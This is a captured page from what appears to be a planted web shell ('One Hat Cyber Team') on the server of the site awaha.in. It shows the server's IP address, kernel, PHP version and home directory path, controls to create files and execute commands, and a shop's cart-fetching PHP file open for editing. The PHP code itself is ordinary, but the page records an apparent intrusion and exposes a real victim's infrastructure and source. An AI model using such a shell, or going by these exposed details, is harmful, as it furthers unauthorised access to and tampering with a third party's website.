One Hat Cyber Team
Your IP :
216.73.216.186
Server IP :
88.222.243.193
Server :
Linux in-mum-web1837.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u322583024
/
domains
/
awaha.in
/
public_html
/
Edit File:
fetch-cart-items.php
<?php session_name('vaishnavi_awaha'); session_start(); header('Content-Type: application/json'); include 'admin/connection.inc.php'; if (!$conn) { echo json_encode(['success' => false, 'message' => 'Database connection failed']); exit; } $cart_items = []; if (isset($_SESSION['user_id'])) { $user_id = $_SESSION['user_id']; // Fetch cart items and match them with products from both `products` and `other_products` $query = " SELECT c.product_id, c.quantity, p.product_name, p.product_discount_price, p.product_img FROM cart c JOIN products p ON c.product_id = p.id WHERE c.user_id = ? AND (c.deleted_at IS NULL OR c.deleted_at = '0000-00-00' OR c.deleted_at = '') UNION ALL SELECT c.product_id, c.quantity, op.product_name, op.product_discount_price, op.product_img FROM cart c JOIN other_products op ON c.product_id = op.id WHERE c.user_id = ? AND (c.deleted_at IS NULL OR c.deleted_at = '0000-00-00' OR c.deleted_at = '') "; if ($stmt = $conn->prepare($query)) { $stmt->bind_param('ii', $user_id, $user_id); $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { $cart_items[] = $row; } $stmt->close(); } else { echo json_encode(['success' => false, 'message' => 'Query preparation failed']); exit; } } else { // Fetch from cookies for guest users $cart = isset($_COOKIE['cart']) ? json_decode($_COOKIE['cart'], true) : []; foreach ($cart as $product_id => $quantity) { // Check `products` table if ($stmt = $conn->prepare("SELECT id as product_id, product_name, product_discount_price, product_img FROM products WHERE id = ?")) { $stmt->bind_param('i', $product_id); $stmt->execute(); $result = $stmt->get_result(); if ($row = $result->fetch_assoc()) { $row['quantity'] = $quantity; $cart_items[] = $row; } $stmt->close(); } // Check `other_products` table if ($stmt = $conn->prepare("SELECT id as product_id, product_name, product_discount_price, product_img FROM other_products WHERE id = ?")) { $stmt->bind_param('i', $product_id); $stmt->execute(); $result = $stmt->get_result(); if ($row = $result->fetch_assoc()) { $row['quantity'] = $quantity; $cart_items[] = $row; } $stmt->close(); } } } // Final output echo json_encode(['success' => true, 'cart_items' => $cart_items]); $conn->close(); ?>
Simpan